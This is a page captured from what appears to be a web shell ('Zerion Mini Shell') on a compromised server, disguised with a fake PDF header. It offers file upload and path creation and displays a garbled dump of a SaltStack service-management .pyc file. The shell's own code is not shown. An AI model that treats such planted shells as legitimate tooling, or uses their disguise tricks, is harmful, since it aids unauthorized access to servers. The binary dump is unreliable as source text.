%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/service.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlZidd6Zidd6dd6Z	d	�Z
d
�Zd�Zd�Z
d
�Zdd�Zd�Zd�Zd�Zd�ZdS(u�
If Salt's OS detection does not identify a different virtual service module, the minion will fall back to using this basic module, which simply wraps sysvinit scripts.
i(tabsolute_importtprint_functiontunicode_literalsNureloadureload_u	/etc/rc.duArchuArch ARMcC@s�td�}tjd�|kr+tdfStddkrEtdfStjd�}|d krstdj|�fStdt�r�tdfSdS(!u=
    Only work on systems which exclusively use sysvinit
    uRedHatuCentOSuAmazonuScientificLinuxu
CloudLinuxuFedorauGentoouUbuntuuDebianuDevuanuALTuOELuLinarou
elementary OSuMcAfee  OS ServeruRaspbianuSUSEuosuYour OS is on the disabled listukerneluLinuxu Non Linux OSes are not supporteduinitusysvinituunknownuMinion is running {0}usystemd.booteduMinion is running systemduservice(uRedHatuCentOSuAmazonuScientificLinuxu
CloudLinuxuFedorauGentoouUbuntuuDebianuDevuanuALTuOELuLinarou
elementary OSuMcAfee  OS ServeruRaspbianuSUSEN(Nusysvinituunknown(tsett
__grains__tgettFalsetNonetformatt	__utils__t__context__(tdisablet
init_grain((s8/usr/lib/python2.7/site-packages/salt/modules/service.pyt__virtual__s8	


cC@sGtjjtjtjd�d�|�d|}td|dt�S(uC
    Run the specified service with an action.

    .. versionadded:: 2015.8.1

    name
        Service name.

    action
        Action name (like start,  stop,  reload,  restart).

    CLI Example:

    .. code-block:: bash

        salt '*' service.run apache2 reload
        salt '*' service.run postgresql initdb
    uosu/etc/init.du ucmd.retcodetpython_shell(tostpathtjoint	_GRAINMAPRRt__salt__R(tnametactiontcmd((s8/usr/lib/python2.7/site-packages/salt/modules/service.pytrun<s2cC@s
t|d�S(u�
    Start the specified service

    CLI Example:

    .. code-block:: bash

        salt '*' service.start <service name>
    ustart(R(R((s8/usr/lib/python2.7/site-packages/salt/modules/service.pytstartVs
cC@s
t|d�S(u~
    Stop the specified service

    CLI Example:

    .. code-block:: bash

        salt '*' service.stop <service name>
    ustop(R(R((s8/usr/lib/python2.7/site-packages/salt/modules/service.pytstopcs
cC@s
t|d�S(u�
    Restart the specified service

    CLI Example:

    .. code-block:: bash

        salt '*' service.restart <service name>
    urestart(R(R((s8/usr/lib/python2.7/site-packages/salt/modules/service.pytrestartps
cC@s�|rtd|�Sttjd|��}|rJtjt�|�}n	|g}i}x"|D]}td|�||<q`W|r�|S||S(uf
    Return the status for a service.
    If the name contains globbing, a dict mapping service name to PID or empty
    string is returned.

    .. versionchanged:: 2018.3.0
        The service name can now be a glob (e.g. ``salt*``)

    Args:
        name (str): The name of the service to check
        sig (str): Signature to use to find the service via ps

    Returns:
        string: PID if running, empty otherwise
        dict: Maps service name to PID if running, empty string otherwise

    CLI Example:

    .. code-block:: bash

        salt '*' service.status <service name> [service signature]
    u
status.pidu\*|\?|\[.+\](Rtbooltretsearchtfnmatchtfiltertget_all(Rtsigtcontains_globbingtservicestresultstservice((s8/usr/lib/python2.7/site-packages/salt/modules/service.pytstatus}s	
cC@s
t|d�S(u�
    Refreshes config files by calling service reload. Does not perform a full
    restart.

    CLI Example:

    .. code-block:: bash

        salt '*' service.reload <service name>
    ureload(R(R((s8/usr/lib/python2.7/site-packages/salt/modules/service.pytreload_�scC@s
|t�kS(u�
    Returns ``True`` if the specified service is available, otherwise returns
    ``False``.

    CLI Example:

    .. code-block:: bash

        salt '*' service.available sshd
    (R (R((s8/usr/lib/python2.7/site-packages/salt/modules/service.pyt	available�scC@s
|t�kS(u�
    The inverse of service.available.
    Returns ``True`` if the specified service is not available, otherwise returns
    ``False``.

    CLI Example:

    .. code-block:: bash

        salt '*' service.missing sshd
    (R (R((s8/usr/lib/python2.7/site-packages/salt/modules/service.pytmissing�scC@sStjjtjtjd�d��s+gSttjtjtjd�d���S(u
    Return a list of all available services

    CLI Example:

    .. code-block:: bash

        salt '*' service.get_all
    uosu/etc/init.d(RRtisdirRRRtsortedtlistdir(((s8/usr/lib/python2.7/site-packages/salt/modules/service.pyR �s
'(t__doc__t
__future__RRRRRRt__func_alias__RR
RRRRRR&R'R(R)R (((s8/usr/lib/python2.7/site-packages/salt/modules/service.pyt<module>s&

	&		
	
	
'			

Zerion Mini Shell 1.0